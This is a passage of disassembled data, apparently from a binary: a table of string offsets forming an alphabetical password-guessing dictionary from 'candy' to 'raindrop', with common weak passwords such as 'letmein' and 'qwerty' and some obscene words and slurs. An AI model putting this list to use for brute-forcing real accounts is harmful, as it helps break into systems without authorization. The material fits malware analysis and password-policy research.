		dd offset aCandy	; "candy"
		dd offset aCantor	; "cantor"
		dd offset aCaptain	; "captain"
		dd offset aCapture	; "capture"
		dd offset aCard		; "card"
		dd offset aCardinal	; "cardinal"
		dd offset aCaren	; "caren"
		dd offset aCarla	; "carla"
		dd offset aCarmen	; "carmen"
		dd offset aCarol	; "carol"
		dd offset aCarole	; "carole"
		dd offset aCarolina	; "carolina"
		dd offset aCaroline	; "caroline"
		dd offset aCarrie	; "carrie"
		dd offset aCarson	; "carson"
		dd offset aCascades	; "cascades"
		dd offset aCash		; "cash"
		dd offset aCastle	; "castle"
		dd offset aCatherin	; "catherin"
		dd offset aCatholic	; "catholic"
		dd offset aCathy	; "cathy"
		dd offset aCave		; "cave"
		dd offset aCayuga	; "cayuga"
		dd offset aCecily	; "cecily"
		dd offset aCelt		; "celt"
		dd offset aCeltic	; "celtic"
		dd offset aCeltics	; "celtics"
		dd offset aCerulean	; "cerulean"
		dd offset aChange	; "change"
		dd offset aCharity	; "charity"
		dd offset aCharles	; "charles"
		dd offset aCharlie	; "charlie"
		dd offset aCharming	; "charming"
		dd offset aCharon	; "charon"
		dd offset aChat_0	; "chat"
		dd offset aChem		; "chem"
		dd offset aChemistr	; "chemistr"
		dd offset aChess	; "chess"
		dd offset aChester	; "chester"
		dd offset aChip		; "chip"
		dd offset aChris	; "chris"
		dd offset aChristin	; "christin"
		dd offset aChristy	; "christy"
		dd offset aCigar	; "cigar"
		dd offset aCigarett	; "cigarett"
		dd offset aCindy	; "cindy"
		dd offset aClass	; "class"
		dd offset aClasses	; "classes"
		dd offset aClassic	; "classic"
		dd offset aClaudia	; "claudia"
		dd offset aClaymore	; "claymore"
		dd offset aCleavage	; "cleavage"
		dd offset aClinton	; "clinton"
		dd offset aCluster	; "cluster"
		dd offset aClusters	; "clusters"
		dd offset aCoast	; "coast"
		dd offset aCocacola	; "cocacola"
		dd offset aCocainco	; "cocainco"
		dd offset aCock		; "cock"
		dd offset aCode		; "code"
		dd offset aCodename	; "codename"
		dd offset aCodeword	; "codeword"
		dd offset aCoffee	; "coffee"
		dd offset aCoin		; "coin"
		dd offset aCoke		; "coke"
		dd offset aCola		; "cola"
		dd offset aCold		; "cold"
		dd offset aCollins	; "collins"
		dd offset aColor	; "color"
		dd offset aCombat	; "combat"
		dd offset aComics	; "comics"
		dd offset aCommit	; "commit"
		dd offset aCommrade	; "commrade"
		dd offset aCompany	; "company"
		dd offset aComputin	; "computin"
		dd offset aComrade	; "comrade"
		dd offset aComrades	; "comrades"
		dd offset aCondo	; "condo"
		dd offset aCondom	; "condom"
		dd offset aConnect	; "connect"
		dd offset aConnie	; "connie"
		dd offset aConserva	; "conserva"
		dd offset aConsole	; "console"
		dd offset aContinue	; "continue"
		dd offset aCook		; "cook"
		dd offset aCookbook	; "cookbook"
		dd offset aCookie	; "cookie"
		dd offset aCool		; "cool"
		dd offset aCooper	; "cooper"
		dd offset aCopper	; "copper"
		dd offset aCops		; "cops"
		dd offset aCopy		; "copy"
		dd offset aCorneliu	; "corneliu"
		dd offset aCorrect	; "correct"
		dd offset aCounters	; "counters"
		dd offset aCountry	; "country"
		dd offset aCouscous	; "couscous"
		dd offset aCowboy	; "cowboy"
		dd offset aCrack	; "crack"
		dd offset aCrackpot	; "crackpot"
		dd offset aCream	; "cream"
		dd offset aCreate	; "create"
		dd offset aCreation	; "creation"
		dd offset aCreature	; "creature"
		dd offset aCredit	; "credit"
		dd offset aCreosote	; "creosote"
		dd offset aCretin	; "cretin"
		dd offset aCrime	; "crime"
		dd offset aCriminal	; "criminal"
		dd offset aCristina	; "cristina"
		dd offset aCrystal	; "crystal"
		dd offset aCshrc	; "cshrc"
		dd offset aCunt		; "cunt"
		dd offset aCustomer	; "customer"
		dd offset aCyber	; "cyber"
		dd offset aCyberpun	; "cyberpun"
		dd offset aCyberspa	; "cyberspa"
		dd offset aCynthia	; "cynthia"
		dd offset aDaemon	; "daemon"
		dd offset aDaisy	; "daisy"
		dd offset aDana		; "dana"
		dd offset aDancer	; "dancer"
		dd offset aDaniel	; "daniel"
		dd offset aDanielle	; "danielle"
		dd offset aDanny	; "danny"
		dd offset aDapper	; "dapper"
		dd offset aDark		; "dark"
		dd offset aDarkaven	; "darkaven"
		dd offset aData		; "data"
		dd offset aDave		; "dave"
		dd offset aDawn		; "dawn"
		dd offset aDead		; "dead"
		dd offset aDeathsta	; "deathsta"
		dd offset aDebbie	; "debbie"
		dd offset aDeborah	; "deborah"
		dd offset aDebug	; "debug"
		dd offset aDecember	; "december"
		dd offset aDeck		; "deck"
		dd offset aDefault	; "default"
		dd offset aDefault_0	; "DEFAULT"
		dd offset aDefoe	; "defoe"
		dd offset aDelta	; "delta"
		dd offset aDeluge	; "deluge"
		dd offset aDemocrat	; "democrat"
		dd offset aDenise	; "denise"
		dd offset aDennis	; "dennis"
		dd offset aDesiree	; "desiree"
		dd offset aDesk		; "desk"
		dd offset aDesktop	; "desktop"
		dd offset aDesperat	; "desperat"
		dd offset aDevelop	; "develop"
		dd offset aDevice	; "device"
		dd offset aDial		; "dial"
		dd offset aDiamond	; "diamond"
		dd offset aDiana	; "diana"
		dd offset aDiane	; "diane"
		dd offset aDice		; "dice"
		dd offset aDick		; "dick"
		dd offset aDiehard	; "diehard"
		dd offset aDiet		; "diet"
		dd offset aDieter	; "dieter"
		dd offset aDigital	; "digital"
		dd offset aDinosaur	; "dinosaur"
		dd offset aDipshit	; "dipshit"
		dd offset aDirect	; "direct"
		dd offset aDirector	; "director"
		dd offset aDirty	; "dirty"
		dd offset aDisc		; "disc"
		dd offset aDiscipli	; "discipli"
		dd offset aDisclose	; "disclose"
		dd offset aDiscover	; "discover"
		dd offset aDisk_0	; "disk"
		dd offset aDiskette	; "diskette"
		dd offset aDisney	; "disney"
		dd offset aDisplay_0	; "display"
		dd offset aDoctor	; "doctor"
		dd offset aDollar	; "dollar"
		dd offset aDong		; "dong"
		dd offset aDoom		; "doom"
		dd offset aDoom2	; "doom2"
		dd offset aDoomii	; "doomii"
		dd offset aDoomsday	; "doomsday"
		dd offset aDoonesbu	; "doonesbu"
		dd offset aDoor		; "door"
		dd offset aDoors	; "doors"
		dd offset aDope		; "dope"
		dd offset aDownload	; "download"
		dd offset aDragon	; "dragon"
		dd offset aDrdoom	; "drdoom"
		dd offset aDrive	; "drive"
		dd offset aDrought	; "drought"
		dd offset aDuck		; "duck"
		dd offset aDude		; "dude"
		dd offset aDuelist	; "duelist"
		dd offset aDuke		; "duke"
		dd offset aDulce	; "dulce"
		dd offset aDuncan	; "duncan"
		dd offset aDungeon	; "dungeon"
		dd offset aDyke		; "dyke"
		dd offset aEager	; "eager"
		dd offset aEagle	; "eagle"
		dd offset aEarth	; "earth"
		dd offset aEasier	; "easier"
		dd offset aEasy		; "easy"
		dd offset aEatme	; "eatme"
		dd offset aEcho		; "echo"
		dd offset aEddie	; "eddie"
		dd offset aEdges	; "edges"
		dd offset aEdinburg	; "edinburg"
		dd offset aEdit		; "edit"
		dd offset aEdition	; "edition"
		dd offset aEducation	; "education"
		dd offset aEducatio	; "educatio"
		dd offset aEdwin	; "edwin"
		dd offset aEdwina	; "edwina"
		dd offset aEgghead	; "egghead"
		dd offset aEiderdow	; "eiderdow"
		dd offset aEileen	; "eileen"
		dd offset aEinsiein	; "einsiein"
		dd offset aEinstein	; "einstein"
		dd offset aElaine	; "elaine"
		dd offset aElanor	; "elanor"
		dd offset aElectron	; "electron"
		dd offset aElephant	; "elephant"
		dd offset aElizabet	; "elizabet"
		dd offset aEllen	; "ellen"
		dd offset aEmail	; "email"
		dd offset aEmerald	; "emerald"
		dd offset aEmily	; "emily"
		dd offset aEmmanuel	; "emmanuel"
		dd offset aEnemy	; "enemy"
		dd offset aEngine	; "engine"
		dd offset aEngineer	; "engineer"
		dd offset aEngland	; "england"
		dd offset aEnglish	; "english"
		dd offset aEnter	; "enter"
		dd offset aEnterpri	; "enterpri"
		dd offset aEnzyme	; "enzyme"
		dd offset aErenity	; "erenity"
		dd offset aEric		; "eric"
		dd offset aErica	; "erica"
		dd offset aErika	; "erika"
		dd offset aErin		; "erin"
		dd offset aErotic	; "erotic"
		dd offset aErsatz	; "ersatz"
		dd offset aEstablis	; "establis"
		dd offset aEstate	; "estate"
		dd offset aEternity	; "eternity"
		dd offset aEuclid	; "euclid"
		dd offset aEvelyn	; "evelyn"
		dd offset aExpert	; "expert"
		dd offset aExplode	; "explode"
		dd offset aExplore	; "explore"
		dd offset aExplorer	; "explorer"
		dd offset aExplosiv	; "explosiv"
		dd offset aExtensio	; "extensio"
		dd offset aFairway	; "fairway"
		dd offset aFaith	; "faith"
		dd offset aFalcon	; "falcon"
		dd offset aFalse	; "false"
		dd offset aFamily	; "family"
		dd offset aFarad	; "farad"
		dd offset aFaraday	; "faraday"
		dd offset aFart		; "fart"
		dd offset aFast		; "fast"
		dd offset aFear		; "fear"
		dd offset aFeds		; "feds"
		dd offset aFelicia	; "felicia"
		dd offset aFender	; "fender"
		dd offset aFermat	; "fermat"
		dd offset aFerrari	; "ferrari"
		dd offset aFidelity	; "fidelity"
		dd offset aField	; "field"
		dd offset aFight	; "fight"
		dd offset aFile		; "file"
		dd offset aFinite	; "finite"
		dd offset aFire		; "fire"
		dd offset aFirewall	; "firewall"
		dd offset aFishers	; "fishers"
		dd offset aFlakes	; "flakes"
		dd offset aFloat	; "float"
		dd offset aFlorida	; "florida"
		dd offset aFlower	; "flower"
		dd offset aFlowers	; "flowers"
		dd offset aFood		; "food"
		dd offset aFool		; "fool"
		dd offset aFoolproo	; "foolproo"
		dd offset aFootball	; "football"
		dd offset aForce	; "force"
		dd offset aFord		; "ford"
		dd offset aForesigh	; "foresigh"
		dd offset aForever	; "forever"
		dd offset aForm		; "form"
		dd offset aFormat	; "format"
		dd offset aFornicat	; "fornicat"
		dd offset aForsythe	; "forsythe"
		dd offset aFourier	; "fourier"
		dd offset aFoxtrot	; "foxtrot"
		dd offset aFrance	; "france"
		dd offset aFrank	; "frank"
		dd offset aFreak	; "freak"
		dd offset aFred		; "fred"
		dd offset aFree		; "free"
		dd offset aFreedom	; "freedom"
		dd offset aFrench	; "french"
		dd offset aFriday	; "friday"
		dd offset aFriend	; "friend"
		dd offset aFriends	; "friends"
		dd offset aFrighten	; "frighten"
		dd offset aFrog		; "frog"
		dd offset aFryguy	; "fryguy"
		dd offset aFuck		; "fuck"
		dd offset aFucker	; "fucker"
		dd offset aFucking	; "fucking"
		dd offset aFuckme	; "fuckme"
		dd offset aFuckyou	; "fuckyou"
		dd offset aFudge	; "fudge"
		dd offset aFunction	; "function"
		dd offset aFungible	; "fungible"
		dd offset aGabriel	; "gabriel"
		dd offset aGames	; "games"
		dd offset aGardner	; "gardner"
		dd offset aGarfield	; "garfield"
		dd offset aGateway	; "gateway"
		dd offset aGatherin	; "gatherin"
		dd offset aGatt		; "gatt"
		dd offset aGauss	; "gauss"
		dd offset aGeorge	; "george"
		dd offset aGerm		; "germ"
		dd offset aGertrude	; "gertrude"
		dd offset aGhost	; "ghost"
		dd offset aGibson	; "gibson"
		dd offset aGigabyte	; "gigabyte"
		dd offset aGina		; "gina"
		dd offset aGinger	; "ginger"
		dd offset aGirl		; "girl"
		dd offset aGlacier	; "glacier"
		dd offset aGold		; "gold"
		dd offset aGolden	; "golden"
		dd offset aGolf		; "golf"
		dd offset aGolfer	; "golfer"
		dd offset aGood		; "good"
		dd offset aGorgeous	; "gorgeous"
		dd offset aGorges	; "gorges"
		dd offset aGosling	; "gosling"
		dd offset aGouge	; "gouge"
		dd offset aGovermen	; "govermen"
		dd offset aGrades	; "grades"
		dd offset aGraham	; "graham"
		dd offset aGrahm	; "grahm"
		dd offset aGrand	; "grand"
		dd offset aGrant	; "grant"
		dd offset aGreat	; "great"
		dd offset aGreen	; "green"
		dd offset aGroup	; "group"
		dd offset aGryphon	; "gryphon"
		dd offset aGuardian	; "guardian"
		dd offset aGucci	; "gucci"
		dd offset aGuess	; "guess"
		dd offset aGuitar	; "guitar"
		dd offset aGumption	; "gumption"
		dd offset aGuntis	; "guntis"
		dd offset aHack		; "hack"
		dd offset aHacked	; "hacked"
		dd offset aHagar	; "hagar"
		dd offset aHair		; "hair"
		dd offset aHallowee	; "hallowee"
		dd offset aHamlet	; "hamlet"
		dd offset aHamster	; "hamster"
		dd offset aHandel	; "handel"
		dd offset aHandily	; "handily"
		dd offset aHandjob	; "handjob"
		dd offset aHappenin	; "happenin"
		dd offset aHard		; "hard"
		dd offset aHardcore	; "hardcore"
		dd offset aHarddriv	; "harddriv"
		dd offset aHarmony	; "harmony"
		dd offset aHarold	; "harold"
		dd offset aHarvey	; "harvey"
		dd offset aHate		; "hate"
		dd offset aHaven	; "haven"
		dd offset aHawaii	; "hawaii"
		dd offset aHead		; "head"
		dd offset aHeadbang	; "headbang"
		dd offset aHeat		; "heat"
		dd offset aHeathen	; "heathen"
		dd offset aHeather	; "heather"
		dd offset aHebrides	; "hebrides"
		dd offset aHeidi	; "heidi"
		dd offset aHeinlein	; "heinlein"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aHelp		; "help"
		dd offset aHerb		; "herb"
		dd offset aHerbert	; "herbert"
		dd offset aHero		; "hero"
		dd offset aHeroin	; "heroin"
		dd offset aHewlett	; "hewlett"
		dd offset aHexadeci	; "hexadeci"
		dd offset aHiawatha	; "hiawatha"
		dd offset aHibernia	; "hibernia"
		dd offset aHidden	; "hidden"
		dd offset aHigh		; "high"
		dd offset aHighland	; "highland"
		dd offset aHitler	; "hitler"
		dd offset aHits		; "hits"
		dd offset aHole		; "hole"
		dd offset aHolly	; "holly"
		dd offset aHollywoo	; "hollywoo"
		dd offset aHomepage	; "homepage"
		dd offset aHomer	; "homer"
		dd offset aHomework	; "homework"
		dd offset aHoney	; "honey"
		dd offset aHooker	; "hooker"
		dd offset aHooters	; "hooters"
		dd offset aHorny	; "horny"
		dd offset aHorrible	; "horrible"
		dd offset aHorror	; "horror"
		dd offset aHorse	; "horse"
		dd offset aHorus	; "horus"
		dd offset aHost		; "host"
		dd offset aHotdog	; "hotdog"
		dd offset aHotel	; "hotel"
		dd offset aHttp_0	; "http"
		dd offset aHunt		; "hunt"
		dd offset aHunter	; "hunter"
		dd offset aHutchins	; "hutchins"
		dd offset aHydrogen	; "hydrogen"
		dd offset aHyper	; "hyper"
		dd offset aHypertxt	; "hypertxt"
		dd offset aIcecream	; "icecream"
		dd offset aIllumina	; "illumina"
		dd offset aImage	; "image"
		dd offset aImbrogli	; "imbrogli"
		dd offset aImmortal	; "immortal"
		dd offset aImperial	; "imperial"
		dd offset aInclude	; "include"
		dd offset aIndia	; "india"
		dd offset aIndian	; "indian"
		dd offset aIndiana	; "indiana"
		dd offset aIndians	; "indians"
		dd offset aIngres	; "ingres"
		dd offset aIngress	; "ingress"
		dd offset aIngrid	; "ingrid"
		dd offset aInna		; "inna"
		dd offset aInnocuou	; "innocuou"
		dd offset aInput	; "input"
		dd offset aInside	; "inside"
		dd offset aInteger	; "integer"
		dd offset aInvent	; "invent"
		dd offset aIrene	; "irene"
		dd offset aIrishman	; "irishman"
		dd offset aIsis		; "isis"
		dd offset aJackie	; "jackie"
		dd offset aJail		; "jail"
		dd offset aJane		; "jane"
		dd offset aJanet	; "janet"
		dd offset aJanice	; "janice"
		dd offset aJanie	; "janie"
		dd offset aJapan	; "japan"
		dd offset aJasmin	; "jasmin"
		dd offset aJava		; "java"
		dd offset aJazz		; "jazz"
		dd offset aJean		; "jean"
		dd offset aJeanne	; "jeanne"
		dd offset aJeff		; "jeff"
		dd offset aJenni	; "jenni"
		dd offset aJennifer	; "jennifer"
		dd offset aJenny	; "jenny"
		dd offset aJerry	; "jerry"
		dd offset aJerusale	; "jerusale"
		dd offset aJessica	; "jessica"
		dd offset aJester	; "jester"
		dd offset aJewelry	; "jewelry"
		dd offset aJill		; "jill"
		dd offset aJixian	; "jixian"
		dd offset aJoanne	; "joanne"
		dd offset aJody		; "jody"
		dd offset aJohn		; "john"
		dd offset aJohndoe	; "johndoe"
		dd offset aJohnny	; "johnny"
		dd offset aJoseph	; "joseph"
		dd offset aJoshua	; "joshua"
		dd offset aJournal	; "journal"
		dd offset aJoyce	; "joyce"
		dd offset aJudith	; "judith"
		dd offset aJudy		; "judy"
		dd offset aJuggle	; "juggle"
		dd offset aJuicy	; "juicy"
		dd offset aJulia	; "julia"
		dd offset aJulie	; "julie"
		dd offset aJuliet	; "juliet"
		dd offset aJune		; "june"
		dd offset aJupiter	; "jupiter"
		dd offset aKaka		; "kaka"
		dd offset aKaren	; "karen"
		dd offset aKarie	; "karie"
		dd offset aKarina	; "karina"
		dd offset aKatana	; "katana"
		dd offset aKate		; "kate"
		dd offset aKathleen	; "kathleen"
		dd offset aKathrine	; "kathrine"
		dd offset aKathy	; "kathy"
		dd offset aKatina	; "katina"
		dd offset aKatrina	; "katrina"
		dd offset aKelly	; "kelly"
		dd offset aKeri		; "keri"
		dd offset aKermit	; "kermit"
		dd offset aKernel	; "kernel"
		dd offset aKerri	; "kerri"
		dd offset aKerrie	; "kerrie"
		dd offset aKerry	; "kerry"
		dd offset aKevin	; "kevin"
		dd offset aKewl		; "kewl"
		dd offset aKeybord	; "keybord"
		dd offset aKeyin	; "keyin"
		dd offset aKeyword	; "keyword"
		dd offset aKids		; "kids"
		dd offset aKill		; "kill"
		dd offset aKillthem	; "killthem"
		dd offset aKilo		; "kilo"
		dd offset aKimberly	; "kimberly"
		dd offset aKing		; "king"
		dd offset aKirk		; "kirk"
		dd offset aKirkland	; "kirkland"
		dd offset aKiss		; "kiss"
		dd offset aKissmyas	; "kissmyas"
		dd offset aKitten	; "kitten"
		dd offset aKlingon	; "klingon"
		dd offset aKnife	; "knife"
		dd offset aKnight	; "knight"
		dd offset aKnightma	; "knightma"
		dd offset aKnown	; "known"
		dd offset aKrista	; "krista"
		dd offset aKristen	; "kristen"
		dd offset aKristi	; "kristi"
		dd offset aKristie	; "kristie"
		dd offset aKristin	; "kristin"
		dd offset aKristine	; "kristine"
		dd offset aKristy	; "kristy"
		dd offset aLadies	; "ladies"
		dd offset aLadle	; "ladle"
		dd offset aLakers	; "lakers"
		dd offset aLambda	; "lambda"
		dd offset aLaminati	; "laminati"
		dd offset aLana		; "lana"
		dd offset aLaptop	; "laptop"
		dd offset aLara		; "lara"
		dd offset aLarkin	; "larkin"
		dd offset aLarry	; "larry"
		dd offset aLaser	; "laser"
		dd offset aLaura	; "laura"
		dd offset aLava		; "lava"
		dd offset aLazarus	; "lazarus"
		dd offset aLazer	; "lazer"
		dd offset aLeah		; "leah"
		dd offset aLebesgue	; "lebesgue"
		dd offset aLeft		; "left"
		dd offset aLeftwing	; "leftwing"
		dd offset aLegal	; "legal"
		dd offset aLeland	; "leland"
		dd offset aLeroy	; "leroy"
		dd offset aLesbian	; "lesbian"
		dd offset aLeslie	; "leslie"
		dd offset aLetmein	; "letmein"
		dd offset aLewis	; "lewis"
		dd offset aLexluthe	; "lexluthe"
		dd offset aLiberal	; "liberal"
		dd offset aLibrary	; "library"
		dd offset aLick		; "lick"
		dd offset aLicker	; "licker"
		dd offset aLife		; "life"
		dd offset aLight	; "light"
		dd offset aLightsab	; "lightsab"
		dd offset aLima		; "lima"
		dd offset aLimbaugh	; "limbaugh"
		dd offset aLimited	; "limited"
		dd offset aLinda	; "linda"
		dd offset aLink		; "link"
		dd offset aLion		; "lion"
		dd offset aLips		; "lips"
		dd offset aLisa		; "lisa"
		dd offset aLisp		; "lisp"
		dd offset aLiteratu	; "literatu"
		dd offset aLive		; "live"
		dd offset aLoad		; "load"
		dd offset aLock		; "lock"
		dd offset aLockout	; "lockout"
		dd offset aLockword	; "lockword"
		dd offset aLogic	; "logic"
		dd offset aLoginwor	; "loginwor"
		dd offset aLogout	; "logout"
		dd offset aLois		; "lois"
		dd offset aLolopc	; "lolopc"
		dd offset aLoose	; "loose"
		dd offset aLore		; "lore"
		dd offset aLori		; "lori"
		dd offset aLorin	; "lorin"
		dd offset aLorraine	; "lorraine"
		dd offset aLoser	; "loser"
		dd offset aLouis	; "louis"
		dd offset aLovebug	; "lovebug"
		dd offset aLover	; "lover"
		dd offset aLuck		; "luck"
		dd offset aLucus	; "lucus"
		dd offset aLucy		; "lucy"
		dd offset aLude		; "lude"
		dd offset aLuke		; "luke"
		dd offset aLust		; "lust"
		dd offset aLynn		; "lynn"
		dd offset aLynne	; "lynne"
		dd offset aMachine	; "machine"
		dd offset aMacintos	; "macintos"
		dd offset aMack		; "mack"
		dd offset aMacro	; "macro"
		dd offset aMaggot	; "maggot"
		dd offset aMagic	; "magic"
		dd offset aMagnet	; "magnet"
		dd offset aMail		; "mail"
		dd offset aMaint	; "maint"
		dd offset aMalcolm	; "malcolm"
		dd offset aMalcom	; "malcom"
		dd offset aMana		; "mana"
		dd offset aManager	; "manager"
		dd offset aMara		; "mara"
		dd offset aMarci	; "marci"
		dd offset aMarcy	; "marcy"
		dd offset aMaria	; "maria"
		dd offset aMariens	; "mariens"
		dd offset aMarietta	; "marietta"
		dd offset aMarijuan	; "marijuan"
		dd offset aMarines	; "marines"
		dd offset aMark		; "mark"
		dd offset aMarkus	; "markus"
		dd offset aMarni	; "marni"
		dd offset aMarriage	; "marriage"
		dd offset aMars		; "mars"
		dd offset aMarty	; "marty"
		dd offset aMarvin	; "marvin"
		dd offset aMary		; "mary"
		dd offset aMason	; "mason"
		dd offset aMaster	; "master"
		dd offset aMath		; "math"
		dd offset aMaurice	; "maurice"
		dd offset aMeagan	; "meagan"
		dd offset aMegabyte	; "megabyte"
		dd offset aMegadeth	; "megadeth"
		dd offset aMegan	; "megan"
		dd offset aMelissa	; "melissa"
		dd offset aMellon	; "mellon"
		dd offset aMelrose	; "melrose"
		dd offset aMember	; "member"
		dd offset aMemory	; "memory"
		dd offset aMenace	; "menace"
		dd offset aMenu		; "menu"
		dd offset aMercury	; "mercury"
		dd offset aMerlin	; "merlin"
		dd offset aMetal	; "metal"
		dd offset aMetalhea	; "metalhea"
		dd offset aMetalica	; "metalica"
		dd offset aMets		; "mets"
		dd offset aMice		; "mice"
		dd offset aMichael	; "michael"
		dd offset aMichel	; "michel"
		dd offset aMichelan	; "michelan"
		dd offset aMichele	; "michele"
		dd offset aMichelle	; "michelle"
		dd offset aMickey	; "mickey"
		dd offset aMicro	; "micro"
		dd offset aMicrochi	; "microchi"
		dd offset aMicropro	; "micropro"
		dd offset aMicrosof	; "microsof"
		dd offset aMidieval	; "midieval"
		dd offset aMike		; "mike"
		dd offset aMine		; "mine"
		dd offset aMinimum	; "minimum"
		dd offset aMinsky	; "minsky"
		dd offset aMisfit	; "misfit"
		dd offset aMission	; "mission"
		dd offset aMkii		; "mkii"
		dd offset aMode		; "mode"
		dd offset aModem	; "modem"
		dd offset aMogul	; "mogul"
		dd offset aMoguls	; "moguls"
		dd offset aMonday	; "monday"
		dd offset aMonica	; "monica"
		dd offset aMoom		; "moom"
		dd offset aMoor		; "moor"
		dd offset aMoose	; "moose"
		dd offset aMore		; "more"
		dd offset aMorley	; "morley"
		dd offset aMorris	; "morris"
		dd offset aMortal	; "mortal"
		dd offset aMortalco	; "mortalco"
		dd offset aMortgage	; "mortgage"
		dd offset aMosaic	; "mosaic"
		dd offset aMountain	; "mountain"
		dd offset aMouse	; "mouse"
		dd offset aMove		; "move"
		dd offset aMovie	; "movie"
		dd offset aMovies	; "movies"
		dd offset aMozart	; "mozart"
		dd offset aMpeg		; "mpeg"
		dd offset aMsdos	; "msdos"
		dd offset aMuppets	; "muppets"
		dd offset aMutant	; "mutant"
		dd offset aNagel	; "nagel"
		dd offset aName		; "name"
		dd offset aNancy	; "nancy"
		dd offset aNapoleon	; "napoleon"
		dd offset aNasa		; "nasa"
		dd offset aNavy		; "navy"
		dd offset aNepenthe	; "nepenthe"
		dd offset aNeptune	; "neptune"
		dd offset aNess		; "ness"
		dd offset aNetscape	; "netscape"
		dd offset aNetwork_0	; "network"
		dd offset aNewborn	; "newborn"
		dd offset aNews		; "news"
		dd offset aNewsgrou	; "newsgrou"
		dd offset aNewton	; "newton"
		dd offset aNewyork	; "newyork"
		dd offset aNext		; "next"
		dd offset aNice		; "nice"
		dd offset aNicole	; "nicole"
		dd offset aNicotine	; "nicotine"
		dd offset aNight	; "night"
		dd offset aNightmar	; "nightmar"
		dd offset aNintendo	; "nintendo"
		dd offset aNita		; "nita"
		dd offset aNnaacp	; "nnaacp"
		dd offset aNoble	; "noble"
		dd offset aNobody	; "nobody"
		dd offset aNode		; "node"
		dd offset aNoreen	; "noreen"
		dd offset aNotes	; "notes"
		dd offset aNoth		; "noth"
		dd offset aNova		; "nova"
		dd offset aNovel	; "novel"
		dd offset aNovember	; "november"
		dd offset aNoxious	; "noxious"
		dd offset aNuclear	; "nuclear"
		dd offset aNude		; "nude"
		dd offset aNuke		; "nuke"
		dd offset aNukem	; "nukem"
		dd offset aNull_1	; "null"
		dd offset aNumber	; "number"
		dd offset aNutritio	; "nutritio"
		dd offset aNuts		; "nuts"
		dd offset aNyquist	; "nyquist"
		dd offset aObscurit	; "obscurit"
		dd offset aOceanogr	; "oceanogr"
		dd offset aOcelot	; "ocelot"
		dd offset aOffice	; "office"
		dd offset aOkay		; "okay"
		dd offset aOldage	; "oldage"
		dd offset aOlivetti	; "olivetti"
		dd offset aOlivia	; "olivia"
		dd offset aOmega	; "omega"
		dd offset aOpen		; "open"
		dd offset aOpening	; "opening"
		dd offset aOpenlock	; "openlock"
		dd offset aOpensesa	; "opensesa"
		dd offset aOperator	; "operator"
		dd offset aOrca		; "orca"
		dd offset aOrient	; "orient"
		dd offset aOrwell	; "orwell"
		dd offset aOscar	; "oscar"
		dd offset aOsiris	; "osiris"
		dd offset aOutdoors	; "outdoors"
		dd offset aOutlaw	; "outlaw"
		dd offset aOutput	; "output"
		dd offset aOutside	; "outside"
		dd offset aOxford	; "oxford"
		dd offset aPacific	; "pacific"
		dd offset aPackard	; "packard"
		dd offset aPacker	; "packer"
		dd offset aPainless	; "painless"
		dd offset aPaint	; "paint"
		dd offset aPakistan	; "pakistan"
		dd offset aPamela	; "pamela"
		dd offset aPapa		; "papa"
		dd offset aPaper	; "paper"
		dd offset aPapers	; "papers"
		dd offset aPascal	; "pascal"
		dd offset aPassphra	; "passphra"
		dd offset aPaste	; "paste"
		dd offset aPatricia	; "patricia"
		dd offset aPatriot	; "patriot"
		dd offset aPatty	; "patty"
		dd offset aPaula	; "paula"
		dd offset aPeanuts	; "peanuts"
		dd offset aPecker	; "pecker"
		dd offset aPencil	; "pencil"
		dd offset aPenelope	; "penelope"
		dd offset aPenguin	; "penguin"
		dd offset aPenis	; "penis"
		dd offset aPenname	; "penname"
		dd offset aPentagon	; "pentagon"
		dd offset aPentagra	; "pentagra"
		dd offset aPenthous	; "penthous"
		dd offset aPentium	; "pentium"
		dd offset aPeoria	; "peoria"
		dd offset aPepper	; "pepper"
		dd offset aPercolat	; "percolat"
		dd offset aPerfect	; "perfect"
		dd offset aPermit	; "permit"
		dd offset aPersimmo	; "persimmo"
		dd offset aPersona	; "persona"
		dd offset aPervert	; "pervert"
		dd offset aPete		; "pete"
		dd offset aPeter	; "peter"
		dd offset aPhil		; "phil"
		dd offset aPhilip	; "philip"
		dd offset aPhoenix	; "phoenix"
		dd offset aPhone	; "phone"
		dd offset aPhoton	; "photon"
		dd offset aPhrack	; "phrack"
		dd offset aPhrase	; "phrase"
		dd offset aPhreak	; "phreak"
		dd offset aPhuck	; "phuck"
		dd offset aPick		; "pick"
		dd offset aPierre	; "pierre"
		dd offset aPimp		; "pimp"
		dd offset aPinname	; "pinname"
		dd offset aPiss		; "piss"
		dd offset aPizza	; "pizza"
		dd offset aPlane	; "plane"
		dd offset aPlayboy	; "playboy"
		dd offset aPlover	; "plover"
		dd offset aPluto	; "pluto"
		dd offset aPlymouth	; "plymouth"
		dd offset aPoetry	; "poetry"
		dd offset aPolice	; "police"
		dd offset aPolly	; "polly"
		dd offset aPolynomi	; "polynomi"
		dd offset aPonderin	; "ponderin"
		dd offset aPoop		; "poop"
		dd offset aPoor		; "poor"
		dd offset aPork		; "pork"
		dd offset aPorn		; "porn"
		dd offset aPorno	; "porno"
		dd offset aPorsche	; "porsche"
		dd offset aPost		; "post"
		dd offset aPoster	; "poster"
		dd offset aPower	; "power"
		dd offset aPraise	; "praise"
		dd offset aPrecious	; "precious"
		dd offset aPrelude	; "prelude"
		dd offset aPresto	; "presto"
		dd offset aPrince	; "prince"
		dd offset aPrinceto	; "princeto"
		dd offset aPrinter	; "printer"
		dd offset aPriv		; "priv"
		dd offset aPrivate	; "private"
		dd offset aPrivs	; "privs"
		dd offset aProceed	; "proceed"
		dd offset aProcesso	; "processo"
		dd offset aProfesso	; "professo"
		dd offset aProfile	; "profile"
		dd offset aProgram	; "program"
		dd offset aPrompt	; "prompt"
		dd offset aProtect	; "protect"
		dd offset aProtozoa	; "protozoa"
		dd offset aPsycho	; "psycho"
		dd offset aPsychopa	; "psychopa"
		dd offset aPublic	; "public"
		dd offset aPuck		; "puck"
		dd offset aPuke		; "puke"
		dd offset aPumpkin	; "pumpkin"
		dd offset aPuneet	; "puneet"
		dd offset aPunisher	; "punisher"
		dd offset aPunk		; "punk"
		dd offset aPuppet	; "puppet"
		dd offset aPussy	; "pussy"
		dd offset aQuebec	; "quebec"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aRabbit	; "rabbit"
		dd offset aRachel	; "rachel"
		dd offset aRachelle	; "rachelle"
		dd offset aRachmani	; "rachmani"
		dd offset aRaid		; "raid"
		dd offset aRain		; "rain"
		dd offset aRainbow	; "rainbow"
		dd offset aRaindrop	; "raindrop"
